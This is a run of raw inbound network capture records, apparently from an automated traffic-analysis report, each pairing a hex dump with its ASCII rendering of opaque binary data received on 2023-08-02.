2023-08-02 08:30:44 UTC	1746	IN	Data Raw: 67 88 65 d2 2f 8e f8 b1 a8 0d 13 6b 81 0a 5c 30 17 ce 4a 7a f7 b1 7c 6d 92 89 3a 82 f8 14 af 5a 42 34 86 bf 43 80 79 5d e3 61 96 f2 e8 62 de c1 4a 9b 1f 49 7b 7a 61 75 d7 56 98 a5 44 d9 2d 02 97 bb 37 78 8b 10 6f 21 0f e7 d3 e0 73 f1 39 80 72 f7 92 16 55 04 31 04 99 a9 73 4a 9d 6f db 36 c7 0a 48 2d c1 dd 3b cb 06 9a b0 70 a9 e5 17 28 2c 13 ca 89 bb 9a 74 b9 e5 3e da 6f ba 6f e5 27 60 b4 d1 bf ad 78 4b ce b2 13 87 a2 69 4c 39 4d 04 4d fe a4 4e a1 35 c3 81 3f b8 ae b0 a2 64 9e 56 f4 84 a2 58 e7 d4 ee 21 18 fd 76 05 ee 61 ba aa 17 c0 f2 ba 10 00 c3 dd 49 8d 9c 6c 2c f4 f8 46 08 cb 13 f8 37 8c 25 30 af 7f 44 9b 5a ef d3 b8 9e 00 87 e4 b3 19 2a 69 0a 1a 8b 57 01 50 68 88 4a c0 40 3e 96 10 60 07 96 7b 85 9c ce a1 49 d3 dc 37 ee be 3c c8 cf 9c 68 86 ae d1 c9 5b Data Ascii: ge/k\0Jz\|m:ZB4Cy]abJI{zauVD-7xo!s9rU1sJo6H-;p(,t>oo'`xKiL9MMN5?dVX!vaIl,F7%0DZ*iWPhJ@>`{I7<h[
2023-08-02 08:30:44 UTC	1762	IN	Data Raw: 85 5e cc 77 c0 21 de af 7d 33 52 ee ed c1 01 20 88 ad 46 7e 7d bf cd 0a 70 98 76 60 f9 6b 6e 29 27 8f 8b ed 8d 9e 28 8f 3f ff b5 9f 0f 5d c8 e6 d1 1e 03 fd 30 84 fd 28 ac f0 53 74 f2 ee e7 c1 98 08 f9 d6 93 9c 16 90 38 f7 f2 9b 20 48 cc 34 e0 5e db 6b bd c7 ae ef 2e b0 de 7c 34 51 25 ff 5e 09 29 b2 79 35 04 8c 57 99 51 b3 3c aa 05 46 e5 8b 83 5a 3d 41 aa 61 95 28 e2 30 69 6c 19 f1 c2 1d 3c cc 1f 1b 93 af 48 e8 ee eb 37 3f e6 86 be 55 f8 57 cf ce 23 34 22 97 d3 7f 4c 36 14 a6 bb ce 76 03 1b 0d 3d d2 36 31 92 97 c0 a3 24 e0 48 8d 43 d1 c9 65 ce aa 50 84 eb 3a f8 2a d5 f4 d3 bd f9 94 96 01 1c 10 39 a1 b9 8a 22 a1 af 29 9a df 7a 20 bc 17 71 d2 ec 25 52 74 ab 16 65 3d bb 52 4d 2e c3 71 e1 72 ad aa b4 38 bf d5 ce c4 65 23 65 9b 29 ce 7e cb 37 69 ce 75 17 a7 f1 Data Ascii: ^w!}3R F~}pv`kn)'(?]0(St8 H4^k.\|4Q%^)y5WQ<FZ=Aa(0il<H7?UW#4"L6v=61$HCeP:*9")z q%Rte=RM.qr8e#e)~7iu
2023-08-02 08:30:44 UTC	1778	IN	Data Raw: 10 a2 85 69 b1 e3 3d b8 28 b3 50 eb b7 d6 72 44 e3 df c2 05 7b 8c e5 bc de 05 2f 24 39 1c 6d 42 84 e0 5e 23 b4 b7 e3 30 7f dd 90 7f 4d 7b 4c 7f ed a9 3a 84 0c 81 29 5e 53 3f d9 a7 54 23 e9 e4 73 18 86 6c 3f 81 47 39 da ea 7b 0b e9 f7 ba e9 d2 b9 00 dd 6e b0 f0 f8 25 87 1b 08 f7 f4 c2 a9 19 2e 95 3d e7 6b 80 71 97 bb 70 c2 26 8a 82 40 19 f1 ed 3d 78 d1 8a 5c 6d ff cb 09 4b 10 2b e9 ce 0a 95 f0 a7 96 47 88 2f 36 e8 af 1a b3 9c f8 87 88 b8 5c 60 cb 19 b0 95 67 79 f9 d7 f7 5a 2a 85 9e 09 f0 69 7d 28 9b d3 bc 5c be 1c 01 c2 86 e1 98 88 ac bd 7b 62 c9 99 76 df 07 d7 6e de b1 62 d2 95 1f ad 3b 2e 04 c2 30 98 ba 93 09 79 76 14 e7 14 e4 c3 40 3d b7 fd 98 b1 3d e8 11 02 1f a2 d3 6e 0b 77 53 17 2e 2c 25 16 dc 12 27 2b af 14 9e a5 4d f9 ec a9 f9 02 c3 a7 d3 a5 d9 54 Data Ascii: i=(PrD{/$9mB^#0M{L:)^S?T#sl?G9{n%.=kqp&@=x\mK+G/6\`gyZ*i}(\{bvnb;.0yv@==nwS.,%'+MT
2023-08-02 08:30:44 UTC	1794	IN	Data Raw: b6 73 89 78 62 34 95 50 56 c6 51 56 1e 68 98 74 c0 1e 3a 40 a0 f8 0a 5a 7d db fa 79 ab 60 fb f1 c1 9e f6 ef 9b 00 ea 1b af 34 3c 65 fa f9 31 96 68 50 82 9c 23 41 3d 54 54 2b 9b 10 0c 6a be 98 71 4c 0f 44 d0 fd 20 86 28 ce 61 34 8b 1c b0 ba b2 e4 b9 09 27 68 43 55 90 3a c4 db 63 25 6b 93 2b 68 db d1 a2 36 16 8d 09 63 34 1c b2 21 30 e7 67 20 d8 a1 ff 0c ce de fe 4a 84 57 4c 0d 02 aa bb f1 51 e6 88 e9 5f 3f 27 04 b7 12 3f 37 49 2f 11 c4 2f 11 ad f5 cc 77 42 ed b9 11 43 db 64 00 3e 18 08 b5 6d 5f 1f 4f 71 cf 8b 12 00 8f 7c e4 48 3b 47 e4 07 3a 22 fb 0c 42 4e 9f 04 94 2c c7 85 b2 79 0c 5b 5c dd f8 63 cf 09 e4 e6 cf 96 97 c4 04 72 35 45 da d3 d0 31 ae 11 25 64 24 9e c6 02 c5 ec 82 6e 33 c0 71 ca f8 27 56 59 cd a4 2c 6d 32 1e 97 b2 74 ca 94 09 8e a3 4f 69 be 34 Data Ascii: sxb4PVQVht:@Z}y`4<e1hP#A=TT+jqLD (a4'hCU:c%k+h6c4!0g JWLQ_?'?7I//wBCd>m_Oq\|H;G:"BN,y[\cr5E1%d$n3q'VY,m2tOi4
2023-08-02 08:30:44 UTC	1810	IN	Data Raw: 92 4b 79 56 d8 50 91 85 58 3e ba b5 b1 90 4f af 1c 9a 99 fc 4b 07 ce bc 62 4a 6f c2 71 2e 2b ca c0 86 7c 9b 30 a8 2e 7a bd 2c 03 7e 27 9f a0 ca f4 4d 77 21 87 03 80 1a d2 24 76 b3 6c de f4 cb ec 17 a3 a3 7f 89 57 ae 58 f3 a8 a2 cc 2f ee de 64 50 41 05 96 40 f2 aa de 57 c2 62 07 d0 60 0e b3 3f ee 3f 96 7e f0 7f 9a 95 cb 58 d9 28 6b 17 1a 31 f0 27 f0 15 d3 70 fa e3 e0 39 e4 8e 69 c9 1d e7 49 45 4e 46 f6 8d a3 74 90 b2 23 d4 f0 16 b2 10 f1 13 f4 4a b2 1f 5e cd a3 f9 80 f6 ee 64 b6 f9 c0 33 f8 10 b8 a6 71 6a 37 9d 30 eb 37 f8 39 80 d1 cb 5a a2 4e 44 4f 12 28 8b cf 50 8d 6d b7 f8 85 57 1f c0 3a d3 99 a4 92 65 e3 c1 aa 9a f5 bb 9d 89 32 8d 19 ce 0a 07 55 4c 83 4c 98 c4 28 43 32 f9 28 6d ef 13 e8 b6 2d 99 3f c8 78 e8 79 45 36 10 bb fd 04 50 bb 4f 60 55 57 19 aa Data Ascii: KyVPX>OKbJoq.+\|0.z,~'Mw!$vlWX/dPA@Wb`??~X(k1'p9iIENFt#J^d3qj7079ZNDO(PmW:e2ULL(C2(m-?xyE6PO`UW
2023-08-02 08:30:44 UTC	1826	IN	Data Raw: 96 8c 94 04 67 df ed cd 94 15 08 74 26 ab b7 fa 5a 0c c6 e5 f4 53 37 d0 7e b3 49 c4 13 59 be 26 7b 66 c8 5e 60 02 d8 eb c0 c3 f4 dd 65 76 e1 d7 46 43 2b 13 f9 8b 22 f2 24 f7 9c f6 04 95 34 05 0d 7f d2 5e 04 73 48 54 9c 87 5f 17 16 c1 20 fd 49 08 98 ac 78 08 b1 bd 6e 0f 0a 17 89 ea 58 77 1b 04 a8 8c 2a 17 68 ab f5 64 1a e3 d9 cd bb d3 ae 77 05 11 b8 2d 96 04 42 bb 1d 5e 5a 36 fd a7 b3 d5 1e 47 85 33 c6 b5 3d 0a 7f 37 4e d8 24 b8 83 2a 5a 4d 54 69 24 11 ff f3 1e 4c a0 67 db 58 66 dd df 91 b4 b1 1a 3c c7 9b 77 74 ae ed cd 73 91 65 00 b6 72 25 e9 15 f2 c1 a6 05 ef 66 58 75 37 c4 28 24 a0 b6 3f 92 54 c6 6a f5 e9 15 64 bd f1 99 72 e4 1b 5a 51 4b 85 53 f8 c2 51 06 20 94 a0 7b 20 e1 22 34 b2 db 8a 88 d3 31 99 30 98 49 43 6f 56 38 79 d6 4a 98 73 f6 71 32 f1 fd b2 Data Ascii: gt&ZS7~IY&{f^`evFC+"$4^sHT_ IxnXwhdw-B^Z6G3=7N$ZMTi$LgXf<wtser%fXu7($?TjdrZQKSQ { "410ICoV8yJsq2
2023-08-02 08:30:44 UTC	1842	IN	Data Raw: 97 3a 93 62 a0 d0 05 5c c0 9a 78 ac 21 3c 1a e0 16 2b ee 8f f8 5c 2c 58 c6 21 b8 78 52 b7 dc 9b d8 a0 03 ac 2c df 4a 47 b6 73 dd 2d d6 c7 d7 ec 4b b7 ce fa ec ea 36 29 8f 40 e1 f8 d9 2b 1b 1e d3 33 c2 53 0e 3c 03 68 17 d3 b7 71 72 42 5e 21 4c 09 fb 4d c8 40 0f 22 ba 8a d6 99 b4 5e f7 21 5a 89 2b e6 10 2b fb a9 c0 c9 6e b7 48 91 1e 7a 92 89 4e 41 bd da 64 54 b1 1a 89 76 0b 6d cf ab 09 57 30 3a 4e 80 94 b2 c7 7f 8e aa 7d 85 ff cf 2f a5 81 cc b6 e8 36 2c db 33 6a 8b df f4 a8 d3 26 af bf a8 15 4e 12 0f 83 04 e1 30 99 b4 73 b6 3e fc 90 5a 3e c2 2e 9e 50 6d 94 97 18 cd e3 81 27 2f 24 ae 72 65 b9 19 4e 47 c2 d2 c9 f5 6b 64 eb b9 bb 86 7f f8 a5 a6 f5 36 78 c6 2a 81 fc 14 2e ca 2d c2 3e 06 99 a5 76 03 97 54 89 b7 be c4 e9 92 56 d1 f3 53 a2 3a df 31 eb dc 20 59 41 Data Ascii: :b\x!<+\,X!xR,JGs-K6)@+3S<hqrB^!LM@"^!Z++nHzNAdTvmW0:N}/6,3j&N0s>Z>.Pm'/$reNGkd6x*.->vTVS:1 YA
2023-08-02 08:30:44 UTC	1858	IN	Data Raw: 68 8c a8 f8 14 10 34 92 48 e0 d3 cf 11 a2 e1 dc fd 51 01 40 2c c0 d2 3f 52 d2 ea c6 c3 33 45 23 a1 b5 70 16 88 8a e0 28 e9 df de 0f 7a b3 c1 6d 97 2c d9 9b 73 46 8a 6d 5b e3 8a 10 5e 81 a0 cc ae 18 7e 58 b1 64 1f 31 68 d0 53 d0 5b f2 25 16 ef d6 52 e2 f0 d2 39 e2 d2 fe 28 4c 9c 0d 8d 52 62 b3 e1 c6 b0 1d b7 da 47 12 34 d1 40 03 f3 2e bd bb 28 6d 85 c5 ac ee 06 06 26 96 e5 ac 98 d2 23 e1 69 8c b4 e5 e3 01 da d8 70 15 ed 94 65 6f fc 52 0f 3f e2 c5 af c4 fc 65 92 3e a7 5e 9f b6 f5 59 69 24 f7 47 25 df 67 f6 f8 23 11 81 a8 28 34 65 df 4f b2 6b 08 ce 71 46 07 b8 d5 c4 93 48 54 58 2a 89 53 e7 15 8b 02 b6 15 0b 29 95 f9 72 64 7d 8f bb 4d 41 52 4e 6a 04 26 61 2a 87 60 b0 7c 8b 5b 8a de e7 6a b7 02 34 a3 89 9e c6 cf e5 82 6d 13 d5 be 90 dd 0d 33 76 83 51 b4 0c b0 Data Ascii: h4HQ@,?R3E#p(zm,sFm[^~Xd1hS[%R9(LRbG4@.(m&#ipeoR?e>^Yi$G%g#(4eOkqFHTXS)rd}MARNj&a`\|[j4m3vQ
2023-08-02 08:30:44 UTC	1874	IN	Data Raw: f5 86 32 cd cd ba a3 d8 29 48 da 17 01 7d 65 2a 93 79 2d 92 98 0d 0f 7a b4 f2 b1 4f cd 43 77 36 e1 bf 17 86 91 53 a7 f8 39 9a 40 78 7b 8a 33 67 08 f2 46 bb 10 1f 83 8b 34 dc 50 11 62 eb bf 9d 37 94 55 1b ec 83 c2 27 a4 f1 4a 2e 02 e4 8e 5d 1a 2a 50 1a de 01 d3 7e d2 b1 51 5e 3c c7 10 7d 9c ab 23 2b 86 c2 28 59 c0 99 5f b9 5a e1 11 43 5a df 73 ee d7 01 78 46 8e 38 87 85 57 b3 38 79 a8 57 c3 20 9a ff 6f ee a2 c5 d0 70 68 02 2d a2 44 54 29 c1 f0 13 ac 49 2a b0 68 bd cc ab 4e 18 35 25 42 3f 99 27 03 6a 28 93 a9 dd 08 0a be 6f f5 cc 79 98 a9 98 66 78 c6 60 b3 b6 65 ed fb 88 bd 00 15 7e 2b ba a5 4d 48 38 41 c9 2a 78 22 3b c1 2f 34 aa ef 9d 5e 51 98 fe 4c ad ce 88 2b bf bf 10 12 3e b7 55 ce 4c 9a 4b 74 94 7d c0 a7 85 76 ec 18 7f ec 5b 3d d6 fc 2a 2f 61 9f 33 b1 Data Ascii: 2)H}ey-zOCw6S9@x{3gF4Pb7U'J.]P~Q^<}#+(Y_ZCZsxF8W8yW oph-DT)IhN5%B?'j(oyfx`e~+MH8Ax";/4^QL+>ULKt}v[=*/a3
2023-08-02 08:30:44 UTC	1890	IN	Data Raw: d9 33 d8 8e 7d 8e 1b 4c 5e 75 de 55 8c 64 aa 49 15 53 21 d7 eb b8 8b 23 ef e8 45 46 4d 9f d8 0f 52 fe be 5a 15 eb bd 62 49 3b de 45 61 26 f9 67 52 76 f5 7a 78 58 b1 cd 22 ad 61 59 b6 51 8b 46 ee 0c ef cc 15 ed ac b2 1d a4 20 85 91 32 8c 6d cc b7 63 73 34 a3 a3 c1 e3 bd 2f 33 d4 22 15 2f b2 b9 1a 16 8e 1a 90 9a 12 d3 87 4d ac dd d8 85 44 78 45 75 59 40 ca dc 6d e4 88 cd 79 8d 6f 48 06 b0 88 69 38 99 b1 c8 81 da c9 4f 9c 59 8a df 8f 2a e7 0b 60 4f 72 c8 a6 93 68 0b 6e 01 a0 b3 bb 6c 7d 4e 17 b3 6f 9b 55 34 9b a0 3c 92 50 f5 78 fe bd a0 3d b7 b0 f0 9c fe a8 11 24 03 d2 c3 80 9e 9a 0d c5 06 40 c6 0b 5b c0 60 c5 4e 3b a7 98 f7 6e 3f ca 27 81 8f fc 82 5c 89 64 ff c0 81 8c 12 7c 7a 93 7e 68 04 49 1f 29 e3 9e dc c6 98 80 70 a0 c6 b0 ed 20 e4 9c a8 1b b0 3f 04 dc Data Ascii: 3}L^uUdIS!#EFMRZbI;Ea&gRvzxX"aYQF 2mcs4/3"/MDxEuY@myoHi8OY*`Orhnl}NoU4<Px=$@[`N;n?'\d\|z~hI)p ?
2023-08-02 08:30:44 UTC	1906	IN	Data Raw: 50 54 d5 39 eb e3 b2 b6 1d 95 f5 af da dc 19 25 ad aa b1 63 2d c0 7a 26 ab 3e f3 7c 7d 4e 3b 48 27 ee 26 04 ae 7b da 24 37 f4 fb ff 10 f7 f4 0f 62 9e 1f 97 6f 4a bd ed 44 f6 30 6d c2 c7 70 74 65 68 d6 df 21 52 df 58 ac 02 4f d7 94 fb ec 74 5b 9f ab 27 46 87 18 10 7e ce be de 7b a4 c5 0c d6 19 ee f7 00 25 ac d0 74 f1 06 2d 00 08 73 af c0 14 0c 65 f2 a4 3c c0 a5 db 10 f5 29 85 8b 24 f6 af c9 ca 6f cb 98 bd 99 4f 5c cd 3d 8a 60 01 6a d2 ef a5 7e 38 b2 52 56 5e 53 ff c8 b8 e3 75 fb cf 52 66 ee d3 ad 7d 95 49 a3 8e 4e 3e b1 4a 7e fe ad 7b 4b 8d 78 a1 13 4c e9 cf 12 3f 65 16 2b 54 41 a1 58 cf 2f 68 55 9c c6 96 4b be bf 60 10 5a bf ed 98 f2 34 eb 00 c6 72 f5 06 24 da f9 ea 81 5c 02 6d 0b a7 d6 35 3b f2 24 5a bf 8d 0c a0 d9 d3 36 07 09 26 66 9f bc 56 5f 00 7b a2 Data Ascii: PT9%c-z&>\|}N;H'&{$7boJD0mpteh!RXOt['F~{%t-se<)$oO\=`j~8RV^SuRf}IN>J~{KxL?e+TAX/hUK`Z4r$\m5;$Z6&fV_{
2023-08-02 08:30:44 UTC	1922	IN	Data Raw: 5f a4 2c 38 42 12 4d 13 a4 7d 1a 88 10 23 1b 13 c9 72 a5 93 a8 f5 f8 65 b2 f0 07 31 83 ba fa a5 60 73 94 fe 27 63 7a 78 ad 98 ea 0e 4c 14 1e 84 8c bf 90 de 1e 3c 50 5c 8b 71 cf 11 b0 47 a1 f8 5d 06 04 f8 fe bd 95 cd 00 86 1e 33 7a 7c 22 c3 26 20 38 2a be e7 e3 59 33 78 1c 8c b4 46 fc 08 e8 c2 ad e6 f6 2a ae 9c b2 65 ed 73 9b c5 3d 0e ba 09 18 8f 47 f0 ae eb a4 84 e9 88 69 e6 db bb f0 f7 93 55 43 b9 dc 0a 95 47 0f d5 d2 ca f8 60 67 ff 4d 97 0c ac 87 bf ee 43 79 37 50 7d 7b 60 13 7f be 9a f5 0e 96 48 f0 79 f8 07 de dd 74 e9 40 5b 6c 47 0f 5a 66 c3 e9 d0 02 a9 d6 5a 18 cf 95 ac 44 1d ed b9 16 a3 2e 54 56 e5 89 36 a3 c6 a9 9b 42 be 1b 17 ed 9d c3 80 21 3b 45 65 f4 9a 2a 02 03 00 b3 ff e4 24 de c8 e6 c8 49 72 77 0a 16 24 bb 90 ac dd 75 65 9d 1e a2 15 7d 9f 01 Data Ascii: _,8BM}#re1`s'czxL<P\qG]3z\|"& 8Y3xFes=GiUCG`gMCy7P}{`Hyt@[lGZfZD.TV6B!;Ee*$Irw$ue}
2023-08-02 08:30:44 UTC	1938	IN	Data Raw: 57 0e 14 43 3f 14 eb db 00 b6 54 cf 1b 55 b7 c5 86 a7 d7 3d 39 9b a7 0e 48 72 78 82 82 6b 46 9f 90 31 9c 80 2d 06 8b b9 de 54 bd ec bb 31 6b b4 5b 10 f5 f4 cf 9b 69 05 12 b4 26 df 87 4d 9f d8 1a 2b 69 da e3 13 70 e6 2f b9 d8 60 5b 66 b5 8a 8c 4d 44 e4 a3 af 16 06 bf ef 01 26 4b 70 66 76 a0 9b 01 b8 0e b8 af 17 7c f7 5f 92 f3 4a 5b 4a df 4f 09 f7 cf eb 1c f2 49 06 a7 51 a2 c4 e7 b1 9e b1 71 b9 47 b9 3e 53 18 21 10 40 15 c3 08 2a 7f 74 46 bb 1a f9 28 f6 ca c6 42 93 e6 47 fc 2f 64 a5 51 e0 b3 1d 25 ef 7d 9f e4 2b 87 1c 16 25 12 14 ba 58 d3 d4 e1 f2 96 4a 51 ff ee 62 05 02 26 04 7f 71 a4 64 ed b9 7f 8d 65 37 09 06 8f e7 71 32 a6 db c1 eb 3b a1 a6 4b de 15 97 c4 4a 21 90 49 8e dc c9 26 8e 6e b2 fb 6f f1 aa 17 be d9 4f ea d2 f6 fa 33 53 f9 e3 b8 c8 9f 87 c9 92 Data Ascii: WC?TU=9HrxkF1-T1k[i&M+ip/`[fMD&Kpfv\|_J[JOIQqG>S!@*tF(BG/dQ%}+%XJQb&qde7q2;KJ!I&noO3S
2023-08-02 08:30:44 UTC	1954	IN	Data Raw: e8 d7 a8 35 ae 34 e1 9c 90 3f 2d a0 51 b8 8a 80 42 c4 ce c7 45 cb 5c da 71 39 ae 81 86 64 35 b0 1c 70 95 f7 56 88 2c bd 74 f2 82 4f 05 eb 81 19 a0 96 74 1b bb 92 18 ef 6b 42 48 49 f9 39 03 0f 12 c4 8e 98 af 1d 1d 94 46 72 f5 03 e7 86 3a f0 15 70 d4 c9 5f 90 ac fa 22 35 8d 4a c8 3f e4 48 51 73 a6 f0 20 c2 76 2b 5c 9b 14 06 cc d6 89 c7 c7 0f b8 3e 24 29 0a b9 2e 2d e5 00 51 3c b7 ba fb 93 b7 85 c1 75 ef 93 ae bc 0d 0c b9 9b 91 0f e2 7b 64 08 33 9f bf 8e 97 d7 f7 14 1d a3 d2 c2 2f ad b0 97 e0 ff 14 3a 2c 60 09 a3 9b 5f aa 65 66 89 cb a4 b5 14 ae a4 e7 3c a5 d5 87 06 45 76 18 c1 df f9 ef 57 12 8a 1f cb f8 28 ed b4 05 32 d8 ab cc 87 79 e3 6d 82 ab eb e4 f7 6d 5a ea 63 23 6a c8 4e 18 14 78 69 82 c5 09 55 d1 36 61 9a 65 2a 54 60 3c 16 3a e3 ff d0 75 94 f0 61 c3 Data Ascii: 54?-QBE\q9d5pV,tOtkBHI9Fr:p_"5J?HQs v+\>$).-Q<u{d3/:,`_ef<EvW(2ymmZc#jNxiU6ae*T`<:ua
2023-08-02 08:30:44 UTC	1970	IN	Data Raw: 88 cb 93 af 4b bd cd 50 04 c7 33 70 b8 9d 45 01 fc 34 8b 5b 6a 38 17 2e cf 35 3d e9 77 28 8a cc 39 fd 9f 94 fa 15 09 92 e7 33 85 ae bd 62 eb 7e e5 4a 54 9d 8d 37 eb 33 9c bf ec 92 5f 28 f4 fa ad bf b3 c3 53 6f 16 83 2f 0a 05 2e 90 31 5b e9 1f b4 1f 36 66 c1 38 fb 4c 3d f4 1d 32 b5 ce 02 31 14 e4 ec 95 07 3a 2c 2f d9 d3 9c 27 5f 9e 9f ec 08 d3 0b da fd 4f 8d 31 5a 26 fa 7f 30 ca 0f 70 9c f1 f8 5b ea e6 23 73 19 fe 99 67 b9 04 c8 de e3 80 fd 3b 69 d3 39 cf a8 7c 3e 3f 16 99 90 3a f2 77 5e 52 e3 83 4c ff 75 be 68 e0 4e 39 fa 76 71 86 82 b9 69 30 d5 6a 63 68 8e 63 5a 08 68 2d bc 61 b3 f3 86 47 c3 d2 57 be da d2 20 39 6b 18 30 1f 0f 22 a2 3d c5 2c 38 05 71 84 76 e7 69 14 f7 bb 5c 5e 1c f2 10 4d 9a 2e 4e df 71 00 75 f2 dd 9a d8 18 e6 99 d5 d7 be df 7b 22 02 ff Data Ascii: KP3pE4[j8.5=w(93b~JT73_(So/.1[6f8L=21:,/'_O1Z&0p[#sg;i9\|>?:w^RLuhN9vqi0jchcZh-aGW 9k0"=,8qvi\^M.Nqu{"
2023-08-02 08:30:44 UTC	1986	IN	Data Raw: 64 02 bd 4b 1f 26 f3 00 53 15 f0 17 92 84 59 ee 80 95 1b 44 c4 9b 18 d7 ad 88 2f b5 23 86 d4 e6 4e da 55 ac f7 e9 00 e7 0a fc 53 f7 c6 0c c1 ca 6a 15 bd 0c 81 3d 54 91 e1 b7 9f ef 9b be 83 c4 94 d1 f5 75 62 6b a4 e9 d0 d8 01 5c ce 4c 87 41 a0 df e9 3e ed 61 b0 b2 37 cf 62 d1 db 21 db 25 18 69 c2 28 27 cb f3 69 07 6c a9 e4 19 c1 4e 0a a5 48 4c 51 fd 35 70 fa 31 fa 44 58 a2 30 a2 00 b7 fc cb dc 8f 71 81 bf a3 23 1e 9f 66 24 ec 0c 32 d3 97 61 6a d1 87 4c de e4 3d a5 f4 37 81 fe f5 fc ea 5e 87 f8 2a 61 0b fb f9 71 fc 56 fd 1e 6c 66 0e 96 62 c9 cb b5 93 96 c1 0c c1 9f 49 24 3d 12 49 65 25 0f 03 06 1c a3 78 f9 73 d5 c1 10 09 58 68 a9 3d 89 07 d4 ba 78 77 44 54 ae 01 cc e5 fc 4f 92 49 9b 4a 79 e0 6f 8a 5a d1 db a5 05 82 dc 29 9d b1 e1 26 52 ab 3d a6 dd 16 ef 77 Data Ascii: dK&SYD/#NUSj=Tubk\LA>a7b!%i('ilNHLQ5p1DX0q#f$2ajL=7^*aqVlfbI$=Ie%xsXh=xwDTOIJyoZ)&R=w
2023-08-02 08:30:44 UTC	2002	IN	Data Raw: 5a 4d f7 21 ed 14 79 b4 f5 7d 6f b6 8b ed 30 bc a1 d2 94 91 98 86 d9 45 0c 8e cb 6c fe d0 28 6f de fa 99 09 94 0d 79 f4 5a 42 d7 6f 01 37 39 63 29 54 c6 fc 96 6c a0 be ae cc 44 cf d6 d1 ba d7 e8 80 60 ff 73 78 6a b1 44 09 51 2e 47 9b b6 8d cd 19 9d aa 2c 33 3b b8 81 e0 76 5d 74 5f 56 64 ca 50 c9 1f e0 18 4b 2f ff 20 c0 7c f7 25 a4 48 f1 ce 64 ba 81 4b a2 10 9f e1 30 be b7 22 e8 b9 05 a1 e5 03 08 ef 42 5f c0 79 1d f0 57 37 fd de 51 60 bd b9 13 a1 f6 4c 53 ac 08 e0 a0 97 11 c3 c4 3f 5e 63 bb ef bc f5 df 4c e1 fb 30 e6 90 be f6 9f 7f 71 23 2c 28 70 13 c9 30 47 fd a4 d6 b3 98 15 7d f6 1d 2a 7f ca 41 e4 36 67 0f 89 b4 e4 ff 91 7e 63 d4 40 28 fa 0b 6a 57 20 8b 91 bc 2d 7b ee 25 3e 82 08 cc c4 3b 0b 87 81 5e 11 04 59 6d 9e e2 8c ac 4b fb 26 f8 17 f7 bd e9 a0 0d Data Ascii: ZM!y}o0El(oyZBo79c)TlD`sxjDQ.G,3;v]t_VdPK/ \|%HdK0"B_yW7Q`LS?^cL0q#,(p0G}*A6g~c@(jW -{%>;^YmK&
2023-08-02 08:30:44 UTC	2018	IN	Data Raw: 0f 31 bc d5 3a ac be de 14 f2 c0 23 3f 2c b4 a6 1b 81 73 58 bc 3f 37 90 4c 75 00 99 12 47 db e2 7e b8 63 d7 b6 21 ee 86 e5 df 18 ab b4 f1 8b 4d 0f c9 8c 47 d3 89 f6 cb 04 ff ee df 23 76 33 d6 16 66 88 f2 ed 29 bd ca 2b 61 4b c8 36 2e c9 37 18 b5 f9 8b ba d8 c1 bd 12 f0 3c 1f 22 df 89 56 b5 f6 b5 ad 02 ad 94 35 b1 89 f8 8c bf 11 7f e8 d6 5d d7 1f 86 4f 24 ec 77 a7 f2 de 50 19 77 ce ee e0 c6 76 11 23 f3 fa ca 88 30 36 92 e7 61 7a f3 5b 91 44 f0 5a 67 45 22 86 7b 4c bf 30 47 27 bf a3 db 48 23 61 bc 2c 34 83 75 e6 5c fe 64 37 39 3e 3e 72 a5 f0 76 da 8a c4 16 62 f6 de 5f f4 e7 c9 95 e1 d0 b7 38 69 74 ed 0d e5 ef 39 35 48 ba b0 81 cc d2 c1 87 f3 2d 9f ba 43 15 ea 7f 18 6f ac 3b 47 9d 2e 31 4a 32 98 2c a5 70 de ce c2 6c a3 8a 30 f7 80 08 73 74 22 c6 e0 61 de 45 Data Ascii: 1:#?,sX?7LuG~c!MG#v3f)+aK6.7<"V5]O$wPwv#06az[DZgE"{L0G'H#a,4u\d79>>rvb_8it95H-Co;G.1J2,pl0st"aE
2023-08-02 08:30:44 UTC	2034	IN	Data Raw: 40 df 00 6e 9e 7d 08 4b d0 d8 f2 ae d3 e3 15 48 c8 3b 53 89 d9 da 02 70 54 3e a3 a2 c0 e7 9b 54 a3 74 60 44 66 cc 79 a6 8b 90 ca bf ff 30 28 e0 13 2e 3f 2e 9b 53 5b b1 f1 8c e7 4c 3a 27 16 d3 cc b2 02 1a 31 00 df 35 74 e2 33 db 79 ad 86 64 78 e7 dc 47 ae 77 9d 50 fe df 81 54 ee c5 df 39 60 55 90 86 99 d0 c5 e8 39 6f a7 0d 49 7b e1 6a f2 00 b1 c1 37 69 13 56 37 81 a9 1d 38 24 87 d5 b1 44 bf 96 3d 56 f4 32 11 74 49 c8 af 3a bd 06 59 82 ef 2c fb 7d 6f de b9 17 9a c9 be 15 91 fc 14 2e b1 64 7d 9b 81 6a 8f 0c e7 50 d8 d3 b0 27 bd ee b3 78 3c 69 19 24 4b aa 16 e2 1c c5 d0 19 00 de 21 9d 62 d9 05 89 9a 7c bf 81 4b 64 1e 01 7b 85 e2 dc 39 92 ee 3b e9 7d 78 e5 e2 c2 40 bd fe ff df c4 76 bc 13 66 09 a4 fd 35 d2 9b 2e b8 4b cf 9f 2c cd 3c fa 53 90 b5 29 23 77 18 45 Data Ascii: @n}KH;SpT>Tt`Dfy0(.?.S[L:'15t3ydxGwPT9`U9oI{j7iV78$D=V2tI:Y,}o.d}jP'x<i$K!b\|Kd{9;}x@vf5.K,<S)#wE
2023-08-02 08:30:44 UTC	2050	IN	Data Raw: e9 06 e7 98 76 da f4 7d 8b 44 9b 1c 37 10 08 24 c6 63 29 58 f7 c5 91 ed ee 71 cd b6 85 fb a8 3b 9c fd c5 37 c4 52 dd 18 4e 71 87 a2 6a 0e 55 39 2f dc e2 e0 33 35 0c 62 c5 f9 40 c5 c9 3c 9d dc 91 d3 af b5 6c ca 71 db b7 a8 c4 13 17 b8 ef e3 86 de 8f 0f 59 1e 36 d2 e9 8f 62 ac f2 74 e3 65 27 02 f7 f0 54 ce cd 11 b5 95 e2 28 e8 e5 cb f4 5e 42 77 af bc bb a7 fc 41 6d 84 bc 10 9d b3 9b 53 51 3f c8 d3 94 3f 57 fa 58 8c 45 82 88 08 74 1f 81 82 c3 a2 f0 d7 4c 71 40 7b 7f fa 41 61 fc ac 01 75 94 4b 25 91 d7 ee 8f c1 0b e0 c5 d7 c3 da c2 9e c9 8a fd 93 7c 22 ea 28 11 b1 9a 80 88 18 f1 44 a2 f2 ad 71 10 10 04 00 05 00 33 53 36 33 00 00 5f 64 e8 d9 67 69 05 9d 3c b0 b7 89 2d ea b8 22 69 10 16 10 4a 02 5b 78 00 5d 20 e0 2c 77 e9 97 0e 25 60 cb b8 f2 cc e0 ef ce fa f7 Data Ascii: 